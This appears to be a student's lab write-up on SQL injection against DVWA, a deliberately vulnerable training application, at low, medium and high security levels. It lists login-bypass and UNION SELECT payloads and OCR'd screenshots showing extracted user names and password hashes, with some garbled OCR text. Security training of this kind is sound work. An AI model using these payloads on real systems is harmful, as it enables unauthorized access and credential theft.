

Introduction

SQL injection (SQLi) is a code injection technique that allows attackers to interfere with the queries an application makes to its database. - In this lab, I explored SQLi vulnerabilities at different security levels (Low, Medium, and High) using DVWA.

Low Security Level

Description: At the low security level, user inputs are not sanitized, making the application highly vulnerable. –

Exploit: I entered '' OR 1=1--' to bypass the login.

Screenshot:

	DVWA
	Vulnerability: SQL Injection
Home	Tuniorasinty: OQE injustion
Instructions	User ID: 1' OR '1'='1 Submit
Setup / Reset DB	Ood ID. I CH I = I
Brute Force	More Information
Command Injection	More information
CSRF	 http://www.securiteam.com/securityreviews/5DP0N1P76E.html https://en.wikipedia.org/wiki/SQL_injection
File Inclusion	 http://ferruh.mavituna.com/sgl-injection-cheatsheet-oku/
File Upload	 http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet https://www.owasp.org/index.php/SQl,_injection
Insecure CAPTCHA	http://bobby-tables.com/
SQL Injection	
SQL Injection (Blind)	
Weak Session IDs	
XSS (DOM)	
XSS (Reflected)	
XSS (Stored)	
CSP Bypass	
JavaScript	
DVWA Security	
PHP Info	
About	
Logout	
Username: admin Security Level: low PHPIDS: disabled	View Source View Help

Outcome: Successful exploitation with data extraction.

Medium Security Level

Description: Medium security adds some basic input sanitization.

Exploit: Modified SQL injection payload to 'UNION SELECT column1,

column2 FROM table_name#

Screenshot:

DWWA			
Home	Vulnerability: SQL Injection		
Instructions			
Setup / Reset DB	User ID: Submit		
Brute Force	ID: 'UNION SELECT user, password FROM users# First name: admin		
Command Injection	Surname: 5f4dcc3b5aa765d61d8327deb882cf99		
CSRF	ID: 'UNION SELECT user,password FROM users# First name: gordonb		
File Inclusion	Surname: e99a18c428cb38d5f260853678922e03		
File Upload	ID: 'UNION SELECT user, password FROM users# First name: 1337		
Insecure CAPTCHA	Surname: 8d3533d75ae2c3966d7e0d4fcc69216b		
SQL Injection	ID: 'UNION SELECT user, password FROM users#		
SQL Injection (Blind)	First name: pablo Surname: 0d107d09f5bbe40cade3de5c71e9e9b7		
Weak Session IDs	ID: ' UNION SELECT user, password FROM users#		
XSS (DOM)	First name: smithy Surname: 5f4dcc3b5aa765d6ld8327deb882cf99		
XSS (Reflected)			
XSS (Stored)	More Information		
CSP Bypass	More Information		
JavaScript	 http://www.securiteam.com/securityreviews/5DP0N1P76E.html https://en.wikipedia.org/wiki/SQL_injection 		
DVWA Security	 http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ 		
PHP Info	 http://pentestmonkey.net/cheaf-sheet/sql-injection/mysql-sql-injection-cheaf-sheet https://www.ovasp.org/index.php/SQL_injection 		
About	http://bobby-tables.com/		
Logout			
Jsername: admin Security Level: low	View Source View Help		

Outcome: Bypassed basic sanitization and retrieved data.

High Security Level

Description: High security implements strong input filtering and sanitization.

Exploit: 'UNION SELECT user, password FROM users --

Screenshots:



```
Vulnerability: SQL Injection

Click here to change your ID.

ID: 'UNION SELECT user, password FROM users --
First name: admin
Surname: laldc9lc907325c6927lddf0c944bc72

ID: 'UNION SELECT user, password FROM users --
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 'UNION SELECT user, password FROM users --
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 'UNION SELECT user, password FROM users --
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c7le9e9b7

ID: 'UNION SELECT user, password FROM users --
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

Outcome: Successfully bypassed advanced protections using the exploit				